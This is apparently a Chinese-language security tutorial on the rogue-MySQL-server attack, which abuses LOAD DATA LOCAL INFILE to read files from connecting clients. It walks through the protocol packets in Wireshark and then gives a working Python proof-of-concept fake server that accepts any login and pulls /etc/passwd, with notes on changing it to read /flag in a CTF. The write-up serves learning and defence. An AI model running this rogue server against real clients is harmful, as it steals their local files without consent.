前言

MySQL 客户端和服务端通信过程中是通过对话的形式来实现的，客户端发送一个操作请求，然后服务端根据客户端发送的请求来响应客户端，在这个过程中客户端如果一个操作需要两步才能完成，那么当它发送完第一个请求过后并不会存储这个请求，而是直接丢弃，所以第二步就是根据服务端的响应来继续进行，这里服务端就可以欺骗客户端做一些事情。

但是一般的通信都是客户端发送一个 MySQL 语句然后服务器端根据这条语句查询后返回结果，也没什么可以利用的。但是 MySQL 有个语法 LOAD DATA INFILE可以用来读取一个文件的内容并插入到表中。

从上图的官方文档说明可以看到，该命令既可以读取服务端的文件，也可以读取客户端的文件，这取决于LOCALmodifier 是否给定。

读取服务端上的文件内容存入表中的 SQL 语句是：

load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

读取客户端上的文件内容存入表中的 SQL 语句是：

load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

两相对比，读取客户端上的文件内容多了一个local关键字。

以上所描述的过程可以形象地用两个人的对话来表示：

1. 客户端：把我本地 /data/test.csv 的内容插入到 TestTable 表中去

2. 服务端：请把你本地 /data/test.csv 的内容发送给我

3. 客户端：好的，这是我本地 /data/test.cvs 的内容

4. 服务端：成功/失败

正常情况下这个流程没有问题，但是前文提到了客户端在第二次并不知道它自己前面发送了什么给服务器，所以客户端第二次要发送什么文件完全取决于服务端，如果这个服务端不正常，就有可能发生如下对话：

1. 客户端：请把我本地 /data/test.csv 的内容插入到 TestTable 表中去

2. 服务器：请把你本地 /etc/passwd 的内容发送给我

3. 客户端：好的，这是我本地 /etc/passwd 的内容

4. 服务端：成功偷取文件内容

这样服务端就非法拿到了/etc/passwd的文件内容！接下来开始进行这个实验，做一个恶意服务端来欺骗客户端。为了编写出伪造恶意 MySQL 服务器的 POC，必须对 MySQL 协议有足够的了解，所以接下来尝试分析一下 MySQL 协议的数据包。

MySQL 协议数据包分析

为了非法读取客户端文件，我们需要实现一个假的 MySQL 服务器。那如何实现呢？这需要我们对 MySQL 协议展开详细的分析才能做到，好在借助 Wireshark 结合 MySQL 官方文档可以帮助我们轻松分析 MySQL 协议的数据包。

我以 ubuntu 虚拟机为客户端，windows物理机为服务端，借助 Wireshark 工具捕捉两者间的 mysql 通信数据包。

客户端ip：192.168.239.129

服务端ip：192.168.1.3

客户端和服务端之间交互的 MySQL命令如下

mysql -h 192.168.1.3 -P 3306 -u root -p
use security;
load data local infile "/etc/passwd" into table users;

开启物理机的 mysql，这里注意需要设置 mysql 允许外来连接，不知道如何操作看看这篇文章

设置 MySQL 允许外部访问

2.打开 wireshark，选择捕获 Vmware 相关的网卡并选择过滤 MySQL 协议，然后用虚拟机连接。

注意：不要使用 mysql 8.0.12 版本，否则相关的数据包显示不完整，甚至连接的用户名都显示不了，这个版本的加密可能更严格吧。

官方文档告诉我们 MySQL 协议也支持通过 TLS 进行加密和身份验证。MYSQL_TLS

那我们捕获的数据包是否进行了加密呢？稍加分析一下这些捕获的数据包就可以判断其确实使用了 TLS 进行了加密。接下来我们根据文档结合 Wireshark 捕获的数据包来进行实践论证！

运行连接命令时捕获到的数据包

mysql -h 192.168.1.3 -P 3306 -u root -p

不打算全部都细说，就以前两个数据包为例子，和官方文档对照来学习其结构。

• 第一个数据包 Protocol::HandshakeV10 服务端到客户端

当客户端通过 MySQL 协议连接到 服务端会发生什么呢？官方文档 Protocol::Handshake 告诉我们当客户端连接到服务端时，服务端会发送一个初始的握手数据包（Initial Handshake Packet）给客户端。根据服务端的版本和配置选项，服务端会发送不同的初始数据包。

为了服务端可以支持新的协议，Initial Handshake Packet 初始的握手数据包的第一个字节被定义为协议的版本号。从 MySQL 3.21.0 版本开始，发送的是 Protocol::HandshakeV10

我采用的 MySQL 版本是 5.7.26，所以发送的就是Protocol::HandShakeV10，我们可以看看文档是如何定义这个数据包的结构的：

关于Type字段各个值的含义在 Integer Types和 String Types

int<1>就是 一个字节，string<NUL>表示以 00 字节结尾的字符串。

我们点开 Wireshark 中服务端给客户端发送的初始数据包，从Server Greeting字段开始就是 payload 部分，也就是初始的握手数据包。从图中我们可以看到有协议版本、服务端的 MySQL 版本、进程 ID。这和我们上图的文档是不是完美对应上了？

Protocol::HandShakeV10 只定义了一个数据包的 payload 部分，而关于头部的定义在 MySQL Packets

和实际的数据包的对应：

payload_length:

sequence_id:

payload:

值得注意的是 Wireshark 的数据是按照小端排列的，比如数据包长度 74 对应的字段数据是4a 00 00。

其余的字段就不再分析了，大同小异。紧接着简单看看客户端给服务端的回应吧。官方文档告诉我们，如果客户端支持 SSL(Capabilities Flags& CLIENT_SSL is on and the mysql_ssl_modeof the client is not SSL_MODE_DISABLED) ，那么一个短的被称为 Protocol::SSLRequest:的数据包会被发送，使得服务端建立一个 SSL layer 并等待来自客户端的下一个数据包。（这里你可能会感到混乱，前面不是说 TLS 吗，怎么现在变成了 SSL？其实 TLS 是升级版的 SSL，但是由于 SSL 这一术语更加常用，所以人们经常互换使用者两个术语。什么是 SSL、TLS、HTTPS）

如果不支持，那么客户端会返回 Protocol::HandshakeResponse:。同时在任何时候，发生任何错误，客户端都会断开连接。

• 第二个数据包 Protocol::HandshakeResponse41 客户端到服务端

根据前面的分析，这里客户端如果支持 SSL，那么会发送Protocol::SSLRequest数据包，否则就是Protocol::HandshakeResponse:。根据我的验证，应该发送的是 Protocol::HandshakeResponse41

感觉挺奇怪的，我觉得应该发送 SSLRequest 才是，但是其包结构却又对应不上。

client_flag（4字节），包括了扩展的 Client capabilities

max_packet_size（4字节）

0x01000000 = 16777216

character_set（1字节）

filler（23字节）

username（以 00 结尾的字符串）

auth_response

文档中说这是一个条件选项，当前的数据包是满足这个条件的。

根据文档对这个字段的释义，其是一个不透明的验证响应。没想到在实际数据包中是一个密码，经过了某个哈希算法。我没有去求证 MySQL 采用什么哈希算法，

接下来就不继续分析，大同小异。

这个数据包的重点在于能够表明客户端是否支持LOAD DATA LOCAL，这是我们可以读取客户端本地文件的根本。关于这个字段的定义在：CLIENT_LOCAL_FILES

• 第三个数据包 Ok_Packet 服务端到客户端

这个数据包一看就是 Ok_Packet

• 第四个数据包 COM_QUERY 客户端到服务端

这个数据包是 COM_QUERY

• 第五个数据包 Text Resultset 服务端到客户端

这个数据包是 Text Resultset

选择 security 数据库捕获的数据包

当客户端向服务端发送use security命令选择数据库时捕获到的数据包。特别多，下图并没有截完整。这一步不重要

读取客户端文件捕获的数据包

在客户端上执行如下命令将/etc/passwd文件内容写入到 users 表时捕获到的数据包。

load data local infile "/etc/passwd" into table users;

一共就四个包，很明显第一个包是一个 COM_QUERY

这个图我不小心去读服务端的文件了，但是无伤大雅。数据包结构是一样的，而且下图我重抓啦~

糟糕的是第三个数据包由于我的物理机拒绝了访问而导致这个数据包是一个错误响应数据包。

我在这里找到了解决方案

stackoverflow

连接的时候用

mysql --local-infile=1 -u root -p -h 192.168.1.3

重新抓一遍包！！

• 第一个数据包 客户端到服务端 COM_QUERY

• 第二个数据包 服务端到客户端 LOCAL INFILE Request

这个数据包很重要，是构造恶意 MySQL 服务器的重点，我们需要根据这个数据包的结构书写 payload。具体地说，需要伪造的部分是 MySQL 数据包的首部和 payload 部分。还记得前面的 MySQL 数据包的结构图吗？

对照一下上图就会发现这个 MySQL 协议数据包的头部是

0c 00 00 01

对应的 payload（不是 wireshark 的那个 Payload） 是

fb 2f 65 74 63 2f 70 61 73 73 77 64

• 第三个数据包 客户端到服务端 COM_QUERY

上一个数据包服务端给客户端发送LOAL INFILE Request的响应后，客户端发给服务端的这一个数据就包含了/etc/passwd文件的内容。

• 第四个数据包 服务端到客户端 Ok_Packet

客户端经过两个请求，成功的将自己的/etc/passwd文件插入到表 users 中，

根据我们前面所说，客户端在发送完第一个请求之后并不会存储这个请求，而是直接丢弃。所以第二步是根据服务端的响应来进行，这里服务器就可以欺骗客户端做一些事情（改变第二个数据包的响应内容）。有了以上的铺垫，POC 的编写并不困难。只需要完成连接过程，然后修改第二个数据包的响应内容就好。

POC

我懒得完整编写 POC 了，所以从网上抄了一个。值得一提的是这个 POC 并不标准，在连接建立过程中发送的数据并没有包含数据包首部，而发送 payload 的时候又包含了首部。（同时从编写的代码来看好像编写者并没有对数据包的构成有一个准确的认识 hhh，当然也有可能是我错了）

1. 客户端发送请求数据包

2. 服务端发送 Mysql 的 Greet 与 banner 信息

3. 客户端发送认证请求(用户名与密码)

4. 这里面我们当然要保证无论输入什么密码都是可以的

5. 获取到文件信息直接输出

#!/usr/bin/python
#coding: utf8
import socket
# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#数据包长度
payloadlen = "\x0c" #这里明显有问题啦，因为文档告诉我们数据包的长度是用三个字节表示的
padding = "\x00\x00"
payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" #这里又把序列号拼在了 数据包的 payload部分
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()

在服务器运行以上脚本，并在客户端连接

收到/etc/passwd文件内容

读取 /flag

如果想要读取/flag如何修改 payload 呢？这是一个很简单的问题，因为已知了这是一个 LOCAL INFILE Request数据包，所以只需要构造一下数据包首部和 payload 部分即可（保持 POC 中其余字段不变）。

首部包括三个字节长的长度字段，一个字节长的序列号。

payload 部分是一个字节长的包类型 0xFB 和 xx 字节长的文件名

现在真正的数据部分是/flag，转换成十六进制为2f666c6167，其拼接上一个字节的包类型 0xFB 就凑成了 payload 部分：fb 2f 66 6c 61 67，故首部中的长度字段值为 0x06。